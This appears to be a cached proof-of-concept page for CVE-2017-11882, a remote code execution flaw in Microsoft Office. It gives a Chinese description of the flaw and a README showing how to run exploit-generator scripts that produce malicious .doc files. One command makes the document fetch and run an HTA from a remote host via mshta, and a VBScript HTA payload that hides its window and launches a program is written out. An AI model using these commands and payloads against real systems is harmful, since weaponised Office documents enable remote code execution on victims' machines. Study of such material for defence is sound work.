CVE-2017-11882 PoC — Microsoft Office 安全漏洞

Source

https://github.com/Shadowshusky/CVE-2017-11882-

Associated Vulnerability

Title:Microsoft Office 安全漏洞 (CVE-2017-11882)
Description:Microsoft Office 2007 SP3等都是美国微软（Microsoft）公司开发的办公软件套件产品。 Microsoft Office中存在远程代码执行漏洞，该漏洞源于程序没有正确的处理内存中的对象。远程攻击者可借助特制的文件利用该漏洞在当前用户的上下文中执行任意代码。以下版本受到影响：Microsoft Office 2007 SP3，Microsoft Office 2010 SP2，Microsoft Office 2013 SP1，Microsoft Office 2016。

Readme

# CVE-2017-11882

43b 原脚本来自于 https://github.com/embedi/CVE-2017-11882

109b 原脚本来自于 https://github.com/unamer/CVE-2017-11882/ （膜一波，现在unamer的代码已经可以执行shellcode了~）


CVE-2017-11882:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/

MITRE CVE-2017-11882:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Research:
https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Patch analysis:
https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

DEMO PoC exploitation:
https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410


## Usage


```python
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
```

use mshta
```python
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
```
abc
```html
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML> 

```

>43b命令长度不能超过43 bytes，109b命令长度不能超过109 bytes

# Sample exploit for CVE-2017-11882 (starting calc.exe as payload)

`example` folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.

File Snapshot


 [4.0K]  /data/pocs/71ef2e50d1128a3e6da5d7e57857ff66d1d36350
├── [ 10K]  Command109b_CVE-2017-11882.py
├── [9.8K]  Command43b_CVE-2017-11882.py
├── [4.0K]  example
│   └── [7.9K]  exploit.rtf
└── [1.4K]  README.md

1 directory, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!